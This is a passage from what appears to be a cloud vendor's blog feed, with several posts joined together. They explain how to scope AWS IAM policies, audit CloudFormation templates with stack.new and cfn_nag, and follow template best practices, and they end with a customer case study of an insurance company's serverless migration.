The Lambda Function is given permission to call any [AWS CloudWatch Logs](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/WhatIsCloudWatchLogs.html) action on any resource. Lambda Functions need permission to send log events to the Logs service, but they don't need unfettered access to the entire control and data plane. With this permission set the Function is also able to create and delete entire Log Groups and Streams. *A malicious attacker would find this very helpful in removing information about their exploits!*
To remediate this issue we would scope permissions to individual actions and resources. We would want to split this one policy into separate policies for each independent resource type as well: one for the Logs service, one for the Config service, and one for the EBS Volumes service (which has an IAM action prefix of `ec2:`). We'll see a better solution for scoping Lambda Function Logs permissions in a bit below.
## Allow and NotAction Are Not Friends
Sometimes folks try to get tricksy with their IAM policies. While most policies contain only an `Effect: Allow` statement, a list of actions, and a list of resources, there are other ways one can construct policies. For example, you can create a nicely scoped policy with the following statement:
```json { "Effect": "Deny", "NotAction": "s3:GetObject", "NotResource": "arn:aws:s3:::my-bucket/my/file.png" } ```
Using [De Morgan's Law](https://en.wikipedia.org/wiki/De\_Morgan%27s\_laws) we can state this policy as: Allow the s3:GetObject action on /my/file.png in the my-bucket S3 Bucket, and deny all other requests. While this could be stated using `Allow`, `Action`, and `Resource` properties, stating this as a `Deny` statements can be helpful in that `Deny` statements override `Allow` statements. That makes `Deny` statements useful in [Service Control Policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs\_manage\_policies\_scps.html) and [Permission Boundaries](https://docs.aws.amazon.com/IAM/latest/UserGuide/access\_policies\_boundaries.html), where you may want to allow most actions but prevent a few specific ones (like creating static AWS access keys).
However, sometimes all these properties get mixed up into dangerous combinations. Let's take a look at the AWS CloudFormation sample "[Elastic Beanstalk](https://aws.amazon.com/elasticbeanstalk/) sample application with a database". Let's examine it with stack.new [here](/content/registry/?repo=https://github.com/eshnil2000/aws-templates/blob/master/ElasticBeanstalk\_Simple.template).
The stack creates an autoscaling application using AWS Elastic Beanstalk and integrates with an Amazon [RDS](https://aws.amazon.com/rds/) Database for data storage.
The audit results find a handful of serious issues. We're going to ignore the failure for the RDS instance being publicly accessible and focus instead on the IAM policy warnings.
The first warning correctly deduces that we've inappropriately combined `Effect: Allow` with a `NotAction` property in our policy statement. What this statement does is allow the EC2 Virtual Machine that Elastic Beanstalk provisions for us to make any AWS action as long as it is not an IAM action. This would allow the machine to create, read, write, or delete S3 buckets, create more virtual machines to mine bitcoins, or potentially connect to and exfiltrate data from databases if they have [IAM authentication](https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/UsingWithRDS.IAMDBAuth.html) or the [Data API](https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/data-api.html) enabled.
This kind of inappropriate policy is [believed to be the privilege escalation mechanism used in the Capital One data breach](https://www.fugue.co/blog/a-technical-analysis-of-the-capital-one-cloud-misconfiguration-breach).
### The Fix
To remediate this issue, IAM policies should never mix `Effect: Allow` and `NotAction` properties in the same statement because it enables unscoped allowances. Even if you were to specify all the services and actions that are not intended to be allowed in the `NotAction` property (which would be very hard to do), this statement will automatically allow new AWS services and actions released over time.
In this instance, given that the application likely only needs to connect to the RDS database, this WebServerRolePolicy can likely be deleted without any ill effects. Authentication to the database is handled through database-specific credentials, and network connectivity is provided through security groups.
## An Example to Live By
It's hard to write good IAM policies! That's why we should also praise examples that do a great job of showing how to do it well. Let's take a look at the [AWS Connected Vehicle Solution](https://aws.amazon.com/solutions/implementations/aws-connected-vehicle-solution/). Let's examine it with stack.new [here](/content/registry/?repo=https://github.com/awslabs/aws-connected-vehicle-solution/blob/master/deployment/aws-connected-vehicle-solution.template).
AWS Connected Vehicle Solution
The solution shows how one might architect an application to analyze telemetry from vehicle sensors, and is comprised of many different managed services requiring many different AWS IAM policies. Let's take a look at the audit results:
No IAM failures or warnings! Let's take a look at an example policy statement from the AnomalyServiceRole IAM Role that is used by a Lambda Function in the template to see how they accomplish this feat:
```yaml - Effect: Allow Action: - logs:CreateLogGroup - logs:CreateLogStream - logs:PutLogEvents Resource: - !Sub arn:aws:logs:${AWS::Region}:${AWS::AccountId}:log-group:/aws/lambda/* - Effect: Allow Action: - dynamodb:BatchGetItem - dynamodb:BatchWriteItem - dynamodb:DeleteItem - dynamodb:GetItem - dynamodb:PutItem - dynamodb:Query - dynamodb:Scan - dynamodb:UpdateItem Resource: - !Sub arn:aws:dynamodb:${AWS::Region}:${AWS::AccountId}:table/${VehicleAnomalyTable} - !Sub arn:aws:dynamodb:${AWS::Region}:${AWS::AccountId}:table/${VehicleAnomalyTable}/index/vin-trip_id-index - Effect: Allow Action: - kinesis:DescribeStream - kinesis:GetRecords - kinesis:GetShardIterator - kinesis:ListStreams Resource: - !Sub arn:aws:kinesis:${AWS::Region}:${AWS::AccountId}:stream/cc-anomaly-stream - Effect: Allow Action: - lambda:InvokeFunction Resource: - !GetAtt NotificationServiceFunction.Arn - Effect: Allow Action: - kms:Decrypt Resource: - !Sub: arn:aws:kms:${AWS::Region}:${AWS::AccountId}:alias/aws/kinesis ```
We see the following scoping stand out in the policy:
- It has just the right actions to create and write logs in the appropriate namespace for Lambda Functions in AWS CloudWatch Logs. - It has just the CRUD data-plane actions necessary to interact with the Vehicle Anomaly Table directly and via one specific secondary index. - It has just the read-only data-plane actions necessary to read records from the cc-anomaly-stream Kinesis Data Stream. - It has permission to invoke only the Notification Service Function (and no other Lambda actions). - It has permission to read (in this case, decrypt) data from Kinesis using the built-in AWS KMS key.
Each of these permissions are scoped to just the necessary actions on the necessary resources for the Anomaly Service Function to accomplish its tasks.
## Conclusion
Crafting properly scoped IAM permissions is not trivial, but there are many examples to learn from, both good and bad. Thankfully, with tools like [stack.new](http://stack.new) and Stelligent's [cfn_nag](https://github.com/stelligent/cfn\_nag) we can identify the good and bad parts of examples. Give us a shout @[stackeryio](https://twitter.com/stackeryio) if you come across great (and not-so-great!) examples you learned from!<![CDATA[Visualizing your CloudFormation Template with Stackery]]>https://www.stackery.io/blog/visualizing-CloudFormation-with-Stackeryhttps://www.stackery.io/blog/visualizing-CloudFormation-with-StackeryStackery can be used to create a new CloudFormation template or to quickly visualize an existing one. Code is automatically generated as you simply drag-and-drop resources on a graphical grid. The experience is much more intuitive than previous generation tools like AWS CloudFormation Designer. Stackery visualizes resources the way a human would perceive them, grouping related resources together. You don’t even need an account to gain value from Stackery. Visit [stack.new](stack.new) to quickly visualize one of your templates and see how it stands up against best practices.
## Getting started with Stackery is fast and free, with just three quick steps
1. Create a Stackery account: If you haven't already, [sign up for a Stackery account](/content/sign-up/index.html). Complete or skip the getting started process (to visualize an existing template, just link to your Git provider), and click "Get Started" to finish the setup.
2. Add a new stack: Navigate to “Stacks” and then click the “Add a Stack” button in the top right corner.
3. Paste in your serverless configuration or start a new one: When you clicked “**Add Stack**” in the previous step, you were redirected to an empty canvas. This is where you can paste in an existing template or start building a new one.
[Take a look at our documentation for more detail and for a template to get you started](https://docs.stackery.io/docs/using-stackery/template-visualization).
## Edit and deploy CloudFormation templates with Stackery
Stackery was designed with ease-of-use and flexibility in mind. You can quickly toggle between the diagrammed visualization of your infrastructure and an integrated text editor. The editor is handy any time you want to make manual updates to your code or to review the code automatically generated for you by Stackery.
Stackery can also streamline your process by enabling you to deploy directly from the tool, validating your resource relationships and code first. It can help you and your team proactively identify potential issues and provides a great mechanism to QA and test your work before going to production.
[Read more about deploying your stacks to CloudFormation with Stackery](https://docs.stackery.io/docs/workflow/deploying-serverless-stacks).
*Stackery’s Deploy dashboard provides controls and a single-pane view of what has been deployed into which AWS account and region*
**Stack.new: Quickly Visualize and Audit a CloudFormation Template**
With [stack.new](http://stack.new/), you can visualize one of your templates within seconds and gain feedback on how well it stands up to best practices. If you don’t have a template ready to use, you can quickly create one or use one of the samples provided on the stack.new page to see how the tool works.
Simply paste in the GitHub url to a YAML template and Stackery’s Design Canvas will produce a visualization. Then, scroll down the page to see documentation pulled in from GitHub, along with a list of the CloudFormation resources used and links to relevant learning guides. Stack.new will also perform an audit to see how well your template stands up against best practices, many taken from the [AWS Well-Architected Framework](https://aws.amazon.com/blogs/apn/the-5-pillars-of-the-aws-well-architected-framework). For example, we audit AWS IAM policies to make sure they’re tightly scoped.
Try out stack.new with your own template or to see sample visualizations and audits.<![CDATA[IAM Policy Basics and Best Practices]]>https://www.stackery.io/blog/iam-policy-basicshttps://www.stackery.io/blog/iam-policy-basicsOne of the most powerful aspects of [AWS](https://aws.amazon.com/) is their [Identity and Access Management](https://aws.amazon.com/iam/) (IAM) service. The obvious aspect of its power is that it controls who can do what with all the resources inside your AWS account. But the non-obvious side is how configurable it is. You can encode permissions that are so finely grained that a [Lambda Function](https://aws.amazon.com/lambda/) could, for example, be given just enough permissions to be able to read one attribute from one record for the current user of a [DynamoDB Table](https://aws.amazon.com/dynamodb/). The upshot, however, is that IAM policies are very hard to implement correctly. To achieve the aforementioned DynamoDB example, the policy might look like:
```json { "Effect": "Allow",
// Only allow reading single records, as opposed to querying for many records "Action": "dynamodb:GetItem",
// Only allow access to the StatRecords DynamoDB Table in the us-west-2 region "Resource": "arn:aws:dynamodb:us-west-2:012345678901:table/StatRecords",
"Condition": { "ForAllValues:StringEquals": {
// Only allow reading the stat_value attribute of records
"dynamodb:Attributes": [
"stat_value"
],
// Only allow reading records where the partition key is
// the user id from 'Login with Amazon ID'
"dynamodb:LeadingKeys": [
"${www.amazon.com:user\_id}"\
]
},
"StringEquals": {
// Only allow reading specific attributes instead of all attributes "dynamodb:Select": "SPECIFIC_ATTRIBUTES" } } } ```
Whew! Oftentimes when you read code you aren't familiar with you can follow it along and figure out how it works.
But if you're new to IAM you likely have questions like:
- "What's the format for `Resource`?" - "What does `ForAllValues:StringEquals` mean?" - "Where does `${www.amazon.com:user\_id}\` come from?"
IAM truly is very complex!
In this guide we'll take a look at the **basics of IAM policies**, just enough to **understand best practices**, and then look at some of the **tools available to help us validate that our permissions follow best practices to secure our resources.**
## IAM Policy Basics
Now that we've seen a complex policy example, let's look at a different example:
```json { "Effect": "Allow", "Action": "s3:*", "Resource": "*" } ```
Here we see the three common properties of an IAM policy:
- **Effect:** Whether this policy `Allow`s or `Deny`s access to resources - **Action:** The type of interaction for the policy, which can also be specified as a list of actions - **Resource:** Which resources in AWS this policy affects, specified as [Amazon Resource Names](https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html) (ARNs)
These are just the three most-common properties of an IAM policy. If you want all the nitty-gritty details you can read the full IAM spec [here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference\_policies\_elements.html).
In plain English, the above policy grants permission to perform any interaction with [AWS Simple Storage Service](https://aws.amazon.com/s3/) (S3) on any resource in this AWS account. S3 stores files in buckets, and you can [find examples](https://github.com/serverless/examples/blob/9eef07b09ee67c33e99c89c73b830a45b7da6ddb/aws-node-ses-receive-email-body/serverless.yml#L14-L17) where these permissions are granted in order for a Lambda Function or EC2 Server to upload or download files to a bucket.
**While this policy looks very simple, it opens up all kinds of potential issues.**
1. The policy allows any action in S3, including creating and deleting entire buckets or modifying the permissions of buckets or files so they could be read or written by the public. 2. The policy allows these actions on all buckets and files in this AWS account, rather than a specific set of files within a specific bucket.
This policy is a great example of an overly broad permission set that can lead to data manipulation and/or exfiltration, both highly concerning security issues.
What can we do about this? We can train everyone who writes policies to follow all applicable best practices and scope the permissions so they pose less risk, but this can be very difficult to achieve across an entire organization of developers. **Another approach that is easier to apply at a larger scale is automatically checking for whether IAM best practices are being followed.**
## Auditing Policies in Infrastructure-as-Code
One of the best practices for web application development is to provision resources, including IAM policies, using [Infrastructure-as-Code](/content/blog/aws-cloudformation-templates-best-practices/index.html) (IaC). We won't dive into all the concepts behind IaC here, but it's important to know that IaC gives us a consistent mechanism to review IAM policies by analyzing those written inside IaC templates.
IaC templates are written in a declarative syntax that is easy for computers to analyze. This has given rise to tools that evaluate templates for best practices. At [stack.new](https://stack.new), we use Stelligent's [cfn_nag](https://github.com/stelligent/cfn\_nag). These evaluate the templates for best practices, including looking for issues like overly broad permissions via `*` actions and resources. 
Audit results for the [aws-samples/happy-path](https://github.com/aws-samples/happy-path) backend template
Here we see some problematic audit results from an AWS example showing how to build an API that [manages state park information](https://aws.amazon.com/blogs/compute/using-serverless-backends-to-iterate-quickly-on-web-apps-part-1/). Let's take a look at the first two issues.
The lone FAILURE result is due to the unscoped action in the permission policy on line 182. This gives the `ProcessDynamoDBStream` function the ability to perform any [AWS IoT](https://aws.amazon.com/iot/) action, such as creating an [Over-the-Air (OTA) update](https://en.wikipedia.org/wiki/Over-the-air\_programming) to [IoT devices](https://en.wikipedia.org/wiki/Internet\_of\_things) using the [`iot:CreateOTAUpdate`](https://docs.aws.amazon.com/iot/latest/apireference/API\_CreateOTAUpdate.html) **action*.* If we were malicious, we might be able to send an update to all connected IoT devices that causes them to malfunction or send data to somewhere else instead of the secure application it was intended to reach.
The first WARNING exacerbates the prior FAILURE. The WARNING concerns the use of `*` in the `Resource` statement on line 183. For example, if the `Resource` statement only allowed actions on an IoT Topic resource, like `arn:aws:iot:us-east-1:012345678901:topic/MyTopic`, then it would block me from being able to call the `iot:CreateOTAUpdate` action because the `Resource` for the `CreateOTAUpdate` call would have a different schema and would not match. Because the `Resource` is `*`, this function would match an AWS IoT OTA Update ARN and be allowed to create an OTA update.
## Fixing IAM Audit Issues
### Identify the problematic code
We now know there is an IAM policy that should be scoped better. It's time to dive into the code to figure out how to fix this!
We can take a look at the code for this function in [streams/ddb/app.js](https://github.com/aws-samples/happy-path/blob/9d28fcdf5a88f8523a66516415dcd6674a48ea1e/backend/streams/ddb/app.js). We see it creates an `iotdata` object to make requests to the IoT service on [line 20](https://github.com/aws-samples/happy-path/blob/9d28fcdf5a88f8523a66516415dcd6674a48ea1e/backend/streams/ddb/app.js#L20).
We then see the `iotdata.publish()` action invoked on [line 59](https://github.com/aws-samples/happy-path/blob/9d28fcdf5a88f8523a66516415dcd6674a48ea1e/backend/streams/ddb/app.js#L59-L63). 
This is the only AWS SDK action invoked in this Lambda Function. That means we can fix the FAILURE result by updating the `Action` in the policy on line 182 of our template to `iot:Publish`.
### Limit scope (with help of AWS docs)
Looking at the [Actions, resources, and condition keys for AWS IoT](https://docs.aws.amazon.com/service-authorization/latest/reference/list\_awsiot.html) page (most AWS services have a documentation page like this) we can find the `Publish` action to see what kind of resource is allowed for scoping the permission. We see the `Publish` action allows an [IoT Topic ARN](https://docs.aws.amazon.com/service-authorization/latest/reference/list\_awsiot.html#awsiot-topic) to be specified.  The Topic ARN format, shown below, has four variables we need to supply. 
The first three, `Partition`, `Region`, and `Account`, are specific to where we deploy our app and can be substituted in by [AWS CloudFormation](https://aws.amazon.com/cloudformation/), which we'll see in a moment. The fourth, `TopicName`, is the name of the topic we are publishing to. If we go back to our Function code and trace the logic we'll see the Topic we publish events to is based on the *Place ID* of state parks in the app's DynamoDB Table. This means the Topic name is not a small set of Topics we can encode into the policy, so we should simply put a wildcard `*` in for it.
We can now update the `Resource` property of our policy in line 183 of our template to be `!Sub arn:${AWS::Partition}:iot:${AWS::Region}:${AWS::AccountId}:topic/*`. The `!Sub` syntax asks CloudFormation to substitute in the [pseudo-parameters](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/pseudo-parameter-reference.html) for the AWS partition, account, and region we are deploying into.
With this update we are now doubly prevented from the possibility of malicious actions being invoked by our Function because actions other than `iot:Publish` are explicitly not allowed anymore, and even if they were they would have a resource ARN that would not match the policy's `Resource` specification.
## Conclusion
We hope through [stack.new](https://stack.new) folks can learn all about the architecture of applications that to this point are shared as hard-to-follow CloudFormation templates, and further learn best practices based on the output of auditing tools like [cfn_nag](https://github.com/stelligent/cfn\_nag). We'd love to hear what you think or if you learned anything! Give us a shout [@stackeryio](https://twitter.com/stackeryio) with your thoughts!<![CDATA[AWS CloudFormation Templates & Best Practices]]>https://www.stackery.io/blog/aws-cloudformation-templates-best-practiceshttps://www.stackery.io/blog/aws-cloudformation-templates-best-practicesWhat if I told you that a text file could help you tackle the normally tedious and time-consuming task of setting up and managing your AWS infrastructure? Good news. It’s actually easy to do with an AWS CloudFormation template.
A typical AWS infrastructure can consist of numerous resources that might need to be managed across different accounts and regions. Setup is often a manual process that can be overwhelming to maintain. This is especially true if your AWS infrastructure continues to grow and you have to start from scratch each time you need to add new resources or services. The one-off, ad hoc nature of provisioning resources via the CLI or management console also leaves too much room for error.
Luckily, AWS CloudFormation was built to solve these issues. It simplifies the management of your AWS infrastructure, by allowing you to create text-file templates that provision and update resources in an organized and predictable way. CloudFormation is well-established, with more than 10 years since launch, and has the support of a large community.
In this article, we’ll cover the benefits and potential drawbacks of CloudFormation and how to setup and modify your architecture with templates. We’ll also share CloudFormation template examples and how Stackery can make things even easier. By adopting AWS CloudFormation, you and your team will spend far less time building and managing your infrastructure, so you can stay focused on development.
Here’s what we’ll cover:
- [All about CloudFormation Templates](#templates) - [What are the Basic CloudFormation Template Sections?](#basics) - [Best Practices when Creating CloudFormation Templates](#best-practices) - [CloudFormation Sample Templates](#sample) - [Stackery’s AWS CloudFormation Template Builder](#Stackery-CloudFormation) - [Deploy CloudFormation Templates to Your AWS Account](#deploy)
All about CloudFormation Templates
AWS CloudFormation performs the crazy party trick of enabling you to manage your complete AWS infrastructure and resources from a text file. The formatted YAML or JSON code you write in the AWS CloudFormation template describes your AWS infrastructure and the resources you need. CloudFormation does the rest, provisioning, configuring and deploying everything for you. It also handles dependencies between resources, removing another piece of complexity from the puzzle.
Without a template, you would have to set everything up manually using the AWS management console or CLI. You would also have to make note of all the resources involved, especially if you wanted to replicate your work for another environment. On the other hand, templates can be used on an ongoing basis, moving you away from the tedium of manually [executing multiple steps every time you need to make a change](/content/blog/dangers-of-console-driven-development/index.html). For example, extending your environment by adding a few more functions is easy with a template.
## Understanding CloudFormation Stacks
The collection of AWS resources created when CloudFormation runs a template is called a **stack**. The resources that make up a stack are provisioned to work together to build your application or solution. You can create, modify, delete or replicate resources at the stack level, making management easier and more organized.
Here are a few of the many advantages that come with defining your resources with AWS CloudFormation templates and managing them as stacks:
### Use existing CloudFormation templates so you don’t have to start from scratch
Chances are you’ll need similar sets of resources for several different environments. With AWS CloudFormation templates, the days of having to start from scratch each time are over. Instead, lean on an existing template to replicate the infrastructure you need. You can then customize your setup using CloudFormation template parameters and conditions (more on that later). In this way, you can quickly set up resources in multiple environments and in different regions around the world. The portable nature of templates also allows you to share them, say with other teams in your organization, when it makes sense.
### Stacks are easier to QA
With your infrastructure declared by the code in your templates, you can now add reviews to your process to ensure no mistakes are made during deployment. You can also use a change management process to verify any changes to your infrastructure, instead of risking mistakes by making changes directly in the console or via CLI.
### CloudFormation is the largest resource provider
CloudFormation has many more features you can explore, including built-in identity and access management (IAM), automated rollback and error-checking. And after lagging in resource coverage in the past, CloudFormation now covers more AWS resources than any other Infrastructure-as-Code framework, including Terraform, and almost all new AWS releases now have CloudFormation coverage at launch.
Of course, nothing is perfect and AWS CloudFormation does have some drawbacks. Here are a couple to keep in mind:
- **Steep learning curve:** While working with templates creates more predictable results than working directly with the console, CloudFormation has many concepts to learn, and, until you get a firm handle on them, things can easily go wrong. For example, if you change the logical ID of a resource, CloudFormation will delete it and create a new one. And, when it deletes that resource, it also trashes its data. Similarly, a resource and all its content are often automatically deleted when the stack is deleted, unless you specify otherwise using the DeletionPolicy attribute in your template. Thankfully, [Stackery’s AWS CloudFormation template builder](/content/product/index.html) provides a low-code, visual way to create and manage your templates (more on that soon). - **Beware of drift:** CloudFormation keeps a snapshot of the current state of your AWS infrastructure. If you then make a change directly through your AWS console or your AWS CLI, your resources will be out of sync with the snapshot. This discrepancy is called drift and it can cause your deployments to fail. So, once you start using CloudFormation, you should stop making manual updates to your account, through the console or CLI, to avoid this issue.
What Are the Basic CloudFormation Template Sections?
As mentioned earlier, an AWS CloudFormation template is simply a formatted YAML or JSON text file. Next, we’ll cover the 9 main sections used in a template to define and modify the resources you need.
### Format version
This is where you specify the template format version. The capabilities of the template can vary depending on which one you choose. If you don’t pick one, CloudFormation defaults to the latest version. As an aside, CloudFormation has yet to make a backwards-incompatible change, so don’t worry too much about versions.
### Description
Use the description area to add comments about your template, such as its purpose.
### Metadata
Use JSON or YAML objects in this section to provide further details about the resources in your template.
### Parameters
In this section, you declare parameters that are passed to the template when a stack is created or updated. In this way, you can specify unique values for use in the properties of your stack’s resources and effectively customize a template each time it’s used. It also allows you to use a single template across multiple accounts and regions, or to specify information unique to the application or configuration being deployed. A best practice is to store parameters in AWS Systems Manager Parameter Store for each environment and then reference the parameters instead of passing in literal values to CloudFormation directly.
### Mappings
There may be cases where you’ll want to add logic to your template. With Mappings, you can use an input value as a condition that determines another value.
### Conditions
Conditions are statements that determine whether or not a resource is created or a property is assigned to a value when a stack is created or updated. For example, a condition could check to see if one value is greater or less than another value and, based on the result, conditionally create a resource. This gives the same template the flexibility to be used across different environments.
### Transform
You can specify one or more macros that enable the reuse of template components. They are often used to condense or simplify your code. This is where you enable AWS SAM, which Stackery uses to simplify the development of serverless stacks.
### Resources
This is where you list the resources that will be created by the template. It’s also where you specify the necessary properties to create each resource.
### Output
In this section, you can specify the values you want to have returned to you and available after the stack is created. For example, there could be output values you might need to have handy to import into other stacks or you might want easy access to a particular output, like a URL created in the template.
To see examples of these template sections in actual code, [take a look at the CloudFormation Sample Templates part of the article](#sample).
Best Practices when Creating CloudFormation Templates
**Leave credentials out of your templates:** It’s not a smart move to store credentials or other sensitive information in your AWS CloudFormation templates. Instead, use dynamic references to specify and retrieve information managed in other services, like AWS Secrets Manager, without CloudFormation ever storing the actual reference value.
**Reference non-confidential parameters:** It’s a good idea to store non-confidential parameters (like the memory size of a Lambda Function) in AWS Systems Manager Parameter Store and reference them, instead of passing literal values to CloudFormation directly.
**Make your code more readable:** If you’re writing your AWS CloudFormation template in YAML, use CFN-specific tags (e.g. !GetAtt instead of the full Fn::GetAtt syntax) to make your code more readable. You’ll thank yourself later when you revisit your code.
**Add comments and background information:** With a top-level Metadata section and the ability to add Metadata sections to every resource, you have plenty of opportunities to provide details that could be helpful later. And don’t worry, these comments won't be lost when you use tools to edit your templates.
**Check your code:** Validate your template with AWS CloudFormation, before creating or updating a stack, to ensure it consists of valid JSON or YAML without syntax or semantic errors. Also make sure to use tools like AWS CloudFormation Guard (cfn-guard) and cfn-nag to check your template for policy compliance issues or security vulnerabilities, respectively.
CloudFormation Sample Templates
Take a look at these AWS CloudFormation template examples to get a feel for what they’re like.
**Services templates:**
- [Auto Scaling template](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/sample-templates-services-us-west-2.html#w2ab1c35c58c13b7) - [Amazon EC2 template](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/sample-templates-services-us-west-2.html#w2ab1c35c58c13c17) - [Elastic Load Balancing template](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/sample-templates-services-us-west-2.html#w2ab1c35c58c13c23)
[Explore more AWS services templates](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/sample-templates-services-us-west-2.html).
**Application framework templates:**
- [Basic LAMP stack template](https://s3.us-west-2.amazonaws.com/cloudformation-templates-us-west-2/LAMP\_Single\_Instance.template) - [Basic Ruby on Rails template](https://s3.us-west-2.amazonaws.com/cloudformation-templates-us-west-2/Rails\_Single\_Instance.template)
[Check out more application framework templates](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/sample-templates-appframeworks-us-west-2.html).
**Template snippets:**
[These template snippets can help you learn](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/CHAP\_TemplateQuickRef.html).
**More AWS templates and resources:**
[Take a look at the AWS CloudFormation templates page for more samples and resources](https://aws.amazon.com/cloudformation/resources/templates/).
**A fast, low-code approach with Stackery**
In the next section, we’ll cover how to use Stackery to drastically speed up the template production process with no coding required.
Stackery’s AWS CloudFormation Template Builder
CloudFormation can drastically simplify the creation, modification and management of AWS resources. However, the learning curve is steep and setting up templates can be a time-consuming effort that comes with many development cycles and considerable trial and error to get things right.
Fortunately, Stackery’s low-code [Design Canvas](https://youtu.be/IWV36DYaOtI) alleviates the need to pull all-nighters learning the minutiae of AWS CloudFormation. Getting started is quick and easy. You can either import existing CloudFormation projects or create new stacks from the ground up. With Stackery, you build and modify your CloudFormation templates visually. Simply drag-and-drop resources where they're needed in your architecture. As you do that, the template’s code is automatically written for you. Easily toggle back and forth between your visual building blocks and the actual code. Unlike previous-generation tools, like CloudFormation's own Designer, Stackery visualizes resources the way a human would perceive them, grouping related resources together and providing a more intuitive editing experience.
 Using Stackery can dramatically cut the time required to get up-and-running with CloudFormation, even for expert-level AWS users. Case in point: Tim Wagner, the creator of AWS Lambda itself, documented how 15 hours of effort in CloudFormation was reduced to just 15 minutes when he recreated his work using Stackery.1
15 hours to 15 minutes...quite the compression ratio thanks to Stackery's visualizations, intelligent permission handling, and simplified hook ups. It literally short circuits hours of looking up CloudFormation syntax!
— Tim Wagner (@timallenwagner) October 9, 2019
The hours you shave off the template building process can be spent focused on development instead of infrastructure management.
Once you’ve created and deployed your AWS CloudFormation resources with Stackery, managing and modifying that infrastructure is just as easy. Instead of thinking of architecture setup as a one-time, static endeavor, we see Stackery customers updating their architectures more than once a week because it’s so straightforward to do so. No matter what changes are made, Stackery remains an easily accessible, enduring and flexible source of truth.
Stackery also allows you to build your CloudFormation templates completely separate from the AWS console, alleviating manual updates to your AWS account and the associated risk of drift we touched on earlier.
Deploy CloudFormation Templates to Your AWS Account
Stackery fits seamlessly into your development workflow and makes reviewing, testing and deploying your AWS CloudFormation templates just as easy as it makes setting them up. Peer reviews and automated testing are supported in Stackery, managed for you within your AWS account, not third-party services or Stackery servers. Rest assured what works on your laptop will work in production. And when you’re ready, Stackery’s delivery pipeline enables you to securely deploy your CloudFormation templates right to your AWS account.
Get started right away with our [free developer plan](/content/sign-up/index.html).
**References:**
1 60x faster development with the inventor of AWS Lambda, [https://www.stackery.io/blog/15-hours-to-15-minutes\](/content/blog/15-hours-to-15-minutes/index.html)<![CDATA[Serverless for the Enterprise]]>https://www.stackery.io/blog/mutual-of-enumclawhttps://www.stackery.io/blog/mutual-of-enumclaw\## Executive Summary
Mutual of Enumclaw, a 100-year-old insurance company from Washington, modernized their policy processing system in order to reduce TCO and focus on their software and customers - not infrastructure. However, they realized serverless development still presents many DevOps challenges like environments, workflows, documentation and local development. Stackery’s secure serverless development platform allowed their teams to build, test, and deploy applications securely and effectively - saving them time and money.
## Mutual of Enumclaw: Building a Legacy
[Mutual of Enumclaw](https://mutualofenumclaw.com/) is beholden not to shareholders but their members, allowing them to focus not solely on profits but on long-term high-quality products and services. Over the last century, it developed into a leading insurance provider. It balances its recent rapid growth into multiple regions and products with a long-term mindset. “We want to build an insurance company that will be around for 500 years… we want to build a legacy,” said Nikody Keating, Cloud Architect at Mutual of Enumclaw.
## Serverless ‘Revolution’
Keating joined Mutual of Enumclaw in 2016 to help the organization modernize into a cloud-first organization. Keating saw the transition to the cloud and serverless as a break from the previous DevOps dichotomy of infrastructure and software. Reducing the focus on infrastructure enabled the team to focus more on their software and customers.
When Mutual of Enumclaw explored cloud providers, they made a list of principles that their cloud provider would need to meet. AWS met all their criteria. Even more so, they prioritize AWS Cloud Native architecture to reduce not just infrastructure and maintenance cost but also development costs.
After an inspiring Serverless Conf, Keating and team came back to build a proof-of-concept for a policy processing system. One thing that makes this particular policy processing system unique is that it will soon be open-sourced to help other insurance companies serve their communities.
Keating and team started building their policy process system, “the heartbeat of any insurance company” as he puts it, using Serverless Framework and AWS. The policy processing application needs to have lineage, track changes, and add-on claims.
The first step of the move to AWS required migrating legacy policy systems that ran on a mainframe zOS platform, to AWS native services. The initial cost calculation, according to Keating, came out to roughly the same amount for the entire serverless implementation on AWS as the power bill for just that one server. “If we could adopt technology in the right way with the right strategy, we could really drive down our costs,” he explained. This also applies not just to infrastructure costs, but also the costs of developing and maintaining software.
Because the policy processing system is so vital, every modification needs to be meticulously tracked. The development team uses DynamoDB for data storage, and S3 and Snowflake for data warehousing and analytics, counting on the reliability and speed of those core services to keep their software efficient and reliable.
## Complexities of Serverless Development for the Enterprise... Enter Stackery
Keating and the team started their project in the popular Serverless Framework with some early success, however, they quickly reached some road bumps when it came to environments, visibility, and security. They needed a solution that worked for enterprise teams.
The problems became evident as their software scaled. They wanted the capability to see what was deployed to different environments, but without proper environment management, this translated to creating a branch in GitHub for each environment, and that became overwhelming and difficult to manage very quickly.
The desire to simplify the deployment process across multiple environments is what led Keating to Stackery. They have multiple people working on the same stacks and CloudFormation templates across projects. They use Stackery’s multiple environments to identify when a particular stack can be promoted and use it to help stabilize their product lifecycle. “Stackery has partnered with us in an amazing way, opening up the door to see what was in which environment and whether a deployment was successful,” giving them lots of visibility at a glance, explains Keating.
## Results: Enterprise-grade Serverless Ops
Keating began to look for a solution to their serverless workflows that would scale and meet their high security standards. Stackery’s environments, IAM role permissioning, and low-code editor, and local development helped the team scale their serverless ambitions. Keating says, “they see immediate impact and quality results.”
The low-code editor in particular helped less experienced serverless developers on-board and learn how to leverage AWS, thus saving resources and quickening timelines. In addition to onboarding and [automated AWS Well-Architectured](/content/blog/anatomy-of-a-secure-serverless-platform-design/#:~:text=Design%20and%20the%205%20Pillars&text=At%20Stackery%2C%20we%20believe%20that,assistance%20of%20comprehensive%20serverless%20tools./index.html) best practices, Stackery served as the ‘source of truth,’ and freed up time from developers being forced to write lengthy documentation.
In addition to the low-code editor, Mutual of Enumclaw simplified their deployment workflow and used Stackery to visualize the capabilities of the development lifecycle. Stackery also simplified local development for their team, in particular when it comes to permissions; “Stackery allows you to run locally with the permission sets that you’ve configured in your IaC template,” meaning a developer can know that the permissions needed to access a Lambda function on their local machine will be the same as when their code is running in the cloud.
